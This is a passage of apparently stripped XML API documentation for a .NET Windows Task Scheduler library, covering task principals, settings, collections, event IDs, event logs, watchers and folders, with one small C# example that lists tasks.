security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified 